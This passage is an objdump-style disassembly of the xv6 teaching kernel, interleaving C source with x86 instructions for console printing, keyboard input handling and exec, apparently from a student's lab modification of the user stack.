80100581: 79 5d jns 801005e0 <printint+0x70> x = -xx; 80100583: f7 d8 neg %eax 80100585: bf 01 00 00 00 mov $0x1,%edi i = 0; 8010058a: 31 c9 xor %ecx,%ecx 8010058c: eb 04 jmp 80100592 <printint+0x22> 8010058e: 66 90 xchg %ax,%ax buf[i++] = digits[x % base]; 80100590: 89 d9 mov %ebx,%ecx 80100592: 31 d2 xor %edx,%edx 80100594: f7 f6 div %esi 80100596: 8d 59 01 lea 0x1(%ecx),%ebx 80100599: 0f b6 92 90 6e 10 80 movzbl -0x7fef9170(%edx),%edx }while((x /= base) != 0); 801005a0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1) }while((x /= base) != 0); 801005a6: 75 e8 jne 80100590 <printint+0x20> if(sign) 801005a8: 85 ff test %edi,%edi buf[i++] = digits[x % base]; 801005aa: 89 d8 mov %ebx,%eax if(sign) 801005ac: 74 08 je 801005b6 <printint+0x46> buf[i++] = '-'; 801005ae: 8d 59 02 lea 0x2(%ecx),%ebx 801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 801005b6: 83 eb 01 sub $0x1,%ebx 801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc(buf[i]); 801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax while(--i >= 0) 801005c5: 83 eb 01 sub $0x1,%ebx consputc(buf[i]); 801005c8: e8 13 fe ff ff call 801003e0 <consputc> while(--i >= 0) 801005cd: 83 fb ff cmp $0xffffffff,%ebx 801005d0: 75 ee jne 801005c0 <printint+0x50> } 801005d2: 83 c4 1c add $0x1c,%esp 801005d5: 5b pop %ebx 801005d6: 5e pop %esi 801005d7: 5f pop %edi 801005d8: 5d pop %ebp 801005d9: c3 ret 801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi x = xx; 801005e0: 31 ff xor %edi,%edi 801005e2: eb a6 jmp 8010058a <printint+0x1a> 801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801005f0 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 801005f0: 55 push %ebp 801005f1: 89 e5 mov %esp,%ebp 801005f3: 57 push %edi 801005f4: 56 push %esi 801005f5: 53 push %ebx 801005f6: 83 ec 1c sub $0x1c,%esp int i; iunlock(ip); 801005f9: 8b 45 08 mov 0x8(%ebp),%eax { 801005fc: 8b 75 10 mov 0x10(%ebp),%esi iunlock(ip); 801005ff: 89 04 24 mov %eax,(%esp) 80100602: e8 79 11 00 00 call 80101780 <iunlock> acquire(&cons.lock); 80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010060e: e8 1d 3b 00 00 call 80104130 <acquire> 80100613: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100616: 85 f6 test %esi,%esi 80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010061b: 7e 12 jle 8010062f <consolewrite+0x3f> 8010061d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100620: 0f b6 07 movzbl (%edi),%eax 80100623: 83 c7 01 add $0x1,%edi 80100626: e8 b5 fd ff ff call 801003e0 <consputc> for(i = 0; i < n; i++) 8010062b: 39 df cmp %ebx,%edi 8010062d: 75 f1 jne 80100620 <consolewrite+0x30> release(&cons.lock); 8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100636: e8 e5 3b 00 00 call 80104220 <release> ilock(ip); 8010063b: 8b 45 08 mov 0x8(%ebp),%eax 8010063e: 89 04 24 mov %eax,(%esp) 80100641: e8 5a 10 00 00 call 801016a0 <ilock> return n; } 80100646: 83 c4 1c add $0x1c,%esp 80100649: 89 f0 mov %esi,%eax 8010064b: 5b pop %ebx 8010064c: 5e pop %esi 8010064d: 5f pop %edi 8010064e: 5d pop %ebp 8010064f: c3 ret 80100650 <cprintf>: { 80100650: 55 push %ebp 80100651: 89 e5 mov %esp,%ebp 80100653: 57 push %edi 80100654: 56 push %esi 80100655: 53 push %ebx 80100656: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100659: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010065e: 85 c0 test %eax,%eax locking = cons.locking; 80100660: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140> if (fmt == 0) 80100669: 8b 45 08 mov 0x8(%ebp),%eax 8010066c: 85 c0 test %eax,%eax 8010066e: 89 c1 mov %eax,%ecx 80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100676: 0f b6 00 movzbl (%eax),%eax 80100679: 31 db xor %ebx,%ebx 8010067b: 89 cf mov %ecx,%edi 8010067d: 8d 75 0c lea 0xc(%ebp),%esi 80100680: 85 c0 test %eax,%eax 80100682: 75 4c jne 801006d0 <cprintf+0x80> 80100684: eb 5f jmp 801006e5 <cprintf+0x95> 80100686: 66 90 xchg %ax,%ax c = fmt[++i] & 0xff; 80100688: 83 c3 01 add $0x1,%ebx 8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 8010068f: 85 d2 test %edx,%edx 80100691: 74 52 je 801006e5 <cprintf+0x95> switch(c){ 80100693: 83 fa 70 cmp $0x70,%edx 80100696: 74 72 je 8010070a <cprintf+0xba> 80100698: 7f 66 jg 80100700 <cprintf+0xb0> 8010069a: 83 fa 25 cmp $0x25,%edx 8010069d: 8d 76 00 lea 0x0(%esi),%esi 801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8> 801006a6: 83 fa 64 cmp $0x64,%edx 801006a9: 75 7d jne 80100728 <cprintf+0xd8> printint(*argp++, 10, 1); 801006ab: 8d 46 04 lea 0x4(%esi),%eax 801006ae: b9 01 00 00 00 mov $0x1,%ecx 801006b3: 89 45 e4 mov %eax,-0x1c(%ebp) 801006b6: 8b 06 mov (%esi),%eax 801006b8: ba 0a 00 00 00 mov $0xa,%edx 801006bd: e8 ae fe ff ff call 80100570 <printint> 801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006c5: 83 c3 01 add $0x1,%ebx 801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006cc: 85 c0 test %eax,%eax 801006ce: 74 15 je 801006e5 <cprintf+0x95> if(c != '%'){ 801006d0: 83 f8 25 cmp $0x25,%eax 801006d3: 74 b3 je 80100688 <cprintf+0x38> consputc(c); 801006d5: e8 06 fd ff ff call 801003e0 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006da: 83 c3 01 add $0x1,%ebx 801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e1: 85 c0 test %eax,%eax 801006e3: 75 eb jne 801006d0 <cprintf+0x80> if(locking) 801006e5: 8b 45 e0 mov -0x20(%ebp),%eax 801006e8: 85 c0 test %eax,%eax 801006ea: 74 0c je 801006f8 <cprintf+0xa8> release(&cons.lock); 801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801006f3: e8 28 3b 00 00 call 80104220 <release> } 801006f8: 83 c4 1c add $0x1c,%esp 801006fb: 5b pop %ebx 801006fc: 5e pop %esi 801006fd: 5f pop %edi 801006fe: 5d pop %ebp 801006ff: c3 ret switch(c){ 80100700: 83 fa 73 cmp $0x73,%edx 80100703: 74 53 je 80100758 <cprintf+0x108> 80100705: 83 fa 78 cmp $0x78,%edx 80100708: 75 1e jne 80100728 <cprintf+0xd8> printint(*argp++, 16, 0); 8010070a: 8d 46 04 lea 0x4(%esi),%eax 8010070d: 31 c9 xor %ecx,%ecx 8010070f: 89 45 e4 mov %eax,-0x1c(%ebp) 80100712: 8b 06 mov (%esi),%eax 80100714: ba 10 00 00 00 mov $0x10,%edx 80100719: e8 52 fe ff ff call 80100570 <printint> 8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100721: eb a2 jmp 801006c5 <cprintf+0x75> 80100723: 90 nop 80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100728: b8 25 00 00 00 mov $0x25,%eax 8010072d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100730: e8 ab fc ff ff call 801003e0 <consputc> consputc(c); 80100735: 8b 55 e4 mov -0x1c(%ebp),%edx 80100738: 89 d0 mov %edx,%eax 8010073a: e8 a1 fc ff ff call 801003e0 <consputc> 8010073f: eb 99 jmp 801006da <cprintf+0x8a> 80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: e8 8e fc ff ff call 801003e0 <consputc> break; 80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75> 80100757: 90 nop if((s = (char*)*argp++) == 0) 80100758: 8d 46 04 lea 0x4(%esi),%eax 8010075b: 8b 36 mov (%esi),%esi 8010075d: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100760: b8 78 6e 10 80 mov $0x80106e78,%eax 80100765: 85 f6 test %esi,%esi 80100767: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 8010076a: 0f be 06 movsbl (%esi),%eax 8010076d: 84 c0 test %al,%al 8010076f: 74 16 je 80100787 <cprintf+0x137> 80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100778: 83 c6 01 add $0x1,%esi consputc(*s); 8010077b: e8 60 fc ff ff call 801003e0 <consputc> for(; *s; s++) 80100780: 0f be 06 movsbl (%esi),%eax 80100783: 84 c0 test %al,%al 80100785: 75 f1 jne 80100778 <cprintf+0x128> if((s = (char*)*argp++) == 0) 80100787: 8b 75 e4 mov -0x1c(%ebp),%esi 8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75> 8010078f: 90 nop acquire(&cons.lock); 80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100797: e8 94 39 00 00 call 80104130 <acquire> 8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19> panic("null fmt"); 801007a1: c7 04 24 7f 6e 10 80 movl $0x80106e7f,(%esp) 801007a8: e8 b3 fb ff ff call 80100360 <panic> 801007ad: 8d 76 00 lea 0x0(%esi),%esi 801007b0 <consoleintr>: { 801007b0: 55 push %ebp 801007b1: 89 e5 mov %esp,%ebp 801007b3: 57 push %edi 801007b4: 56 push %esi int c, doprocdump = 0; 801007b5: 31 f6 xor %esi,%esi { 801007b7: 53 push %ebx 801007b8: 83 ec 1c sub $0x1c,%esp 801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801007c5: e8 66 39 00 00 call 80104130 <acquire> 801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while((c = getc()) >= 0){ 801007d0: ff d3 call *%ebx 801007d2: 85 c0 test %eax,%eax 801007d4: 89 c7 mov %eax,%edi 801007d6: 78 48 js 80100820 <consoleintr+0x70> switch(c){ 801007d8: 83 ff 10 cmp $0x10,%edi 801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160> 801007e1: 7e 5d jle 80100840 <consoleintr+0x90> 801007e3: 83 ff 15 cmp $0x15,%edi 801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110> 801007ec: 83 ff 7f cmp $0x7f,%edi 801007ef: 90 nop 801007f0: 75 53 jne 80100845 <consoleintr+0x95> if(input.e != input.w){ 801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801007fd: 74 d1 je 801007d0 <consoleintr+0x20> input.e--; 801007ff: 83 e8 01 sub $0x1,%eax 80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100807: b8 00 01 00 00 mov $0x100,%eax 8010080c: e8 cf fb ff ff call 801003e0 <consputc> while((c = getc()) >= 0){ 80100811: ff d3 call *%ebx 80100813: 85 c0 test %eax,%eax 80100815: 89 c7 mov %eax,%edi 80100817: 79 bf jns 801007d8 <consoleintr+0x28> 80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100827: e8 f4 39 00 00 call 80104220 <release> if(doprocdump) { 8010082c: 85 f6 test %esi,%esi 8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170> } 80100834: 83 c4 1c add $0x1c,%esp 80100837: 5b pop %ebx 80100838: 5e pop %esi 80100839: 5f pop %edi 8010083a: 5d pop %ebp 8010083b: c3 ret 8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch(c){ 80100840: 83 ff 08 cmp $0x8,%edi 80100843: 74 ad je 801007f2 <consoleintr+0x42> if(c != 0 && input.e-input.r < INPUT_BUF){ 80100845: 85 ff test %edi,%edi 80100847: 74 87 je 801007d0 <consoleintr+0x20> 80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010084e: 89 c2 mov %eax,%edx 80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100856: 83 fa 7f cmp $0x7f,%edx 80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20> input.buf[input.e++ % INPUT_BUF] = c; 8010085f: 8d 50 01 lea 0x1(%eax),%edx 80100862: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 80100865: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c> input.buf[input.e++ % INPUT_BUF] = c; 80100874: 89 f9 mov %edi,%ecx 80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 8010087c: 89 f8 mov %edi,%eax 8010087e: e8 5d fb ff ff call 801003e0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100883: 83 ff 04 cmp $0x4,%edi 80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088b: 74 19 je 801008a6 <consoleintr+0xf6> 8010088d: 83 ff 0a cmp $0xa,%edi 80100890: 74 14 je 801008a6 <consoleintr+0xf6> 80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx 80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx 8010089e: 39 d0 cmp %edx,%eax 801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20> wakeup(&input.r); 801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) input.w = input.e; 801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008b2: e8 c9 34 00 00 call 80103d80 <wakeup> 801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20> 801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.e != input.w && 801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008cb: 75 2b jne 801008f8 <consoleintr+0x148> 801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20> 801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 801008dd: b8 00 01 00 00 mov $0x100,%eax 801008e2: e8 f9 fa ff ff call 801003e0 <consputc> while(input.e != input.w && 801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 801008f8: 83 e8 01 sub $0x1,%eax 801008fb: 89 c2 mov %eax,%edx 801008fd: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 80100907: 75 cf jne 801008d8 <consoleintr+0x128> 80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010090e: 66 90 xchg %ax,%ax doprocdump = 1; 80100910: be 01 00 00 00 mov $0x1,%esi 80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } 80100920: 83 c4 1c add $0x1c,%esp 80100923: 5b pop %ebx 80100924: 5e pop %esi 80100925: 5f pop %edi 80100926: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100927: e9 34 35 00 00 jmp 80103e60 <procdump> input.buf[input.e++ % INPUT_BUF] = c; 8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100933: b8 0a 00 00 00 mov $0xa,%eax 80100938: e8 a3 fa ff ff call 801003e0 <consputc> 8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6> 80100947: 89 f6 mov %esi,%esi 80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100950 <consoleinit>: void consoleinit(void) { 80100950: 55 push %ebp 80100951: 89 e5 mov %esp,%ebp 80100953: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 80100956: c7 44 24 04 88 6e 10 movl $0x80106e88,0x4(%esp) 8010095d: 80 8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100965: e8 d6 36 00 00 call 80104040 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100971: 00 80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp) devsw[CONSOLE].write = consolewrite; 80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c 80100980: 05 10 80 devsw[CONSOLE].read = consoleread; 80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 8010098a: 02 10 80 cons.locking = 1; 8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 80100994: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100997: e8 04 19 00 00 call 801022a0 <ioapicenable> } 8010099c: c9 leave 8010099d: c3 ret 8010099e: 66 90 xchg %ax,%ax 801009a0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 57 push %edi 801009a4: 56 push %esi 801009a5: 53 push %ebx 801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009ac: e8 df 2c 00 00 call 80103690 <myproc> 801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 801009b7: e8 44 21 00 00 call 80102b00 <begin_op> if((ip = namei(path)) == 0){ 801009bc: 8b 45 08 mov 0x8(%ebp),%eax 801009bf: 89 04 24 mov %eax,(%esp) 801009c2: e8 29 15 00 00 call 80101ef0 <namei> 801009c7: 85 c0 test %eax,%eax 801009c9: 89 c3 mov %eax,%ebx 801009cb: 0f 84 3f 02 00 00 je 80100c10 <exec+0x270> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 801009d1: 89 04 24 mov %eax,(%esp) 801009d4: e8 c7 0c 00 00 call 801016a0 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 801009e6: 00 801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801009ee: 00 801009ef: 89 44 24 04 mov %eax,0x4(%esp) 801009f3: 89 1c 24 mov %ebx,(%esp) 801009f6: e8 55 0f 00 00 call 80101950 <readi> 801009fb: 83 f8 34 cmp $0x34,%eax 801009fe: 74 20 je 80100a20 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a00: 89 1c 24 mov %ebx,(%esp) 80100a03: e8 f8 0e 00 00 call 80101900 <iunlockput> end_op(); 80100a08: e8 63 21 00 00 call 80102b70 <end_op> } return -1; 80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp 80100a18: 5b pop %ebx 80100a19: 5e pop %esi 80100a1a: 5f pop %edi 80100a1b: 5d pop %ebp 80100a1c: c3 ret 80100a1d: 8d 76 00 lea 0x0(%esi),%esi if(elf.magic != ELF_MAGIC) 80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a27: 45 4c 46 80100a2a: 75 d4 jne 80100a00 <exec+0x60> if((pgdir = setupkvm()) == 0) 80100a2c: e8 0f 60 00 00 call 80106a40 <setupkvm> 80100a31: 85 c0 test %eax,%eax 80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a39: 74 c5 je 80100a00 <exec+0x60> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a42: 00 80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi sz = 0; 80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a50: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193> 80100a59: 31 ff xor %edi,%edi 80100a5b: eb 18 jmp 80100a75 <exec+0xd5> 80100a5d: 8d 76 00 lea 0x0(%esi),%esi 80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100a67: 83 c7 01 add $0x1,%edi 80100a6a: 83 c6 20 add $0x20,%esi 80100a6d: 39 f8 cmp %edi,%eax 80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp) 80100a82: 00 80100a83: 89 74 24 08 mov %esi,0x8(%esp) 80100a87: 89 44 24 04 mov %eax,0x4(%esp) 80100a8b: 89 1c 24 mov %ebx,(%esp) 80100a8e: e8 bd 0e 00 00 call 80101950 <readi> 80100a93: 83 f8 20 cmp $0x20,%eax 80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180> if(ph.type != ELF_PROG_LOAD) 80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100aa3: 75 bb jne 80100a60 <exec+0xc0> if(ph.memsz < ph.filesz) 80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100ab1: 72 6d jb 80100b20 <exec+0x180> if(ph.vaddr + ph.memsz < ph.vaddr) 80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ab9: 72 65 jb 80100b20 <exec+0x180> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100abb: 89 44 24 08 mov %eax,0x8(%esp) 80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100ac5: 89 44 24 04 mov %eax,0x4(%esp) 80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100acf: 89 04 24 mov %eax,(%esp) 80100ad2: e8 c9 5d 00 00 call 801068a0 <allocuvm> 80100ad7: 85 c0 test %eax,%eax 80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100adf: 74 3f je 80100b20 <exec+0x180> if(ph.vaddr % PGSIZE != 0) 80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100ae7: a9 ff 0f 00 00 test $0xfff,%eax 80100aec: 75 32 jne 80100b20 <exec+0x180> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx 80100af4: 89 44 24 04 mov %eax,0x4(%esp) 80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100afe: 89 5c 24 08 mov %ebx,0x8(%esp) 80100b02: 89 54 24 10 mov %edx,0x10(%esp) 80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx 80100b0c: 89 04 24 mov %eax,(%esp) 80100b0f: 89 54 24 0c mov %edx,0xc(%esp) 80100b13: e8 c8 5c 00 00 call 801067e0 <loaduvm> 80100b18: 85 c0 test %eax,%eax 80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0> freevm(pgdir); 80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b26: 89 04 24 mov %eax,(%esp) 80100b29: e8 92 5e 00 00 call 801069c0 <freevm> 80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60> iunlockput(ip); 80100b33: 89 1c 24 mov %ebx,(%esp) 80100b36: e8 c5 0d 00 00 call 80101900 <iunlockput> 80100b3b: 90 nop 80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80100b40: e8 2b 20 00 00 call 80102b70 <end_op> if((sp = allocuvm(pgdir, user_top, user_top + 8)) == 0) //added for lab 3 80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b4b: c7 44 24 08 08 f0 ff movl $0x7ffff008,0x8(%esp) 80100b52: 7f 80100b53: c7 44 24 04 00 f0 ff movl $0x7ffff000,0x4(%esp) 80100b5a: 7f 80100b5b: 89 04 24 mov %eax,(%esp) 80100b5e: e8 3d 5d 00 00 call 801068a0 <allocuvm> 80100b63: 85 c0 test %eax,%eax 80100b65: 0f 84 8d 00 00 00 je 80100bf8 <exec+0x258> for(argc = 0; argv[argc]; argc++) { 80100b6b: 8b 45 0c mov 0xc(%ebp),%eax 80100b6e: 8b 00 mov (%eax),%eax 80100b70: 85 c0 test %eax,%eax 80100b72: 0f 84 9b 01 00 00 je 80100d13 <exec+0x373> 80100b78: 8b 4d 0c mov 0xc(%ebp),%ecx 80100b7b: 31 d2 xor %edx,%edx 80100b7d: bb ff ff ff 7f mov $0x7fffffff,%ebx 80100b82: 8d 71 04 lea 0x4(%ecx),%esi 80100b85: 89 cf mov %ecx,%edi 80100b87: 89 f1 mov %esi,%ecx 80100b89: 89 d6 mov %edx,%esi 80100b8b: 89 ca mov %ecx,%edx 80100b8d: eb 27 jmp 80100bb6 <exec+0x216> 80100b8f: 90 nop 80100b90: 8b 95 e8 fe ff ff mov -0x118(%ebp),%edx ustack[3+argc] = sp; 80100b96: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100b9c: 89 9c b5 64 ff ff ff mov %ebx,-0x9c(%ebp,%esi,4) for(argc = 0; argv[argc]; argc++) { 80100ba3: 83 c6 01 add $0x1,%esi 80100ba6: 8b 02 mov (%edx),%eax 80100ba8: 89 d7 mov %edx,%edi 80100baa: 85 c0 test %eax,%eax 80100bac: 74 7d je 80100c2b <exec+0x28b> 80100bae: 83 c2 04 add $0x4,%edx if(argc >= MAXARG) 80100bb1: 83 fe 20 cmp $0x20,%esi 80100bb4: 74 42 je 80100bf8 <exec+0x258> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bb6: 89 04 24 mov %eax,(%esp) 80100bb9: 89 95 e8 fe ff ff mov %edx,-0x118(%ebp) 80100bbf: e8 cc 38 00 00 call 80104490 <strlen> 80100bc4: f7 d0 not %eax 80100bc6: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100bc8: 8b 07 mov (%edi),%eax sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bca: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100bcd: 89 04 24 mov %eax,(%esp) 80100bd0: e8 bb 38 00 00 call 80104490 <strlen> 80100bd5: 83 c0 01 add $0x1,%eax 80100bd8: 89 44 24 0c mov %eax,0xc(%esp) 80100bdc: 8b 07 mov (%edi),%eax 80100bde: 89 5c 24 04 mov %ebx,0x4(%esp) 80100be2: 89 44 24 08 mov %eax,0x8(%esp) 80100be6: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bec: 89 04 24 mov %eax,(%esp) 80100bef: e8 1c 61 00 00 call 80106d10 <copyout> 80100bf4: 85 c0 test %eax,%eax 80100bf6: 79 98 jns 80100b90 <exec+0x1f0> freevm(pgdir); 80100bf8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bfe: 89 04 24 mov %eax,(%esp) 80100c01: e8 ba 5d 00 00 call 801069c0 <freevm> return -1; 80100c06: b8 ff ff ff ff mov $0xffffffff,%eax 80100c0b: e9 02 fe ff ff jmp 80100a12 <exec+0x72> end_op(); 80100c10: e8 5b 1f 00 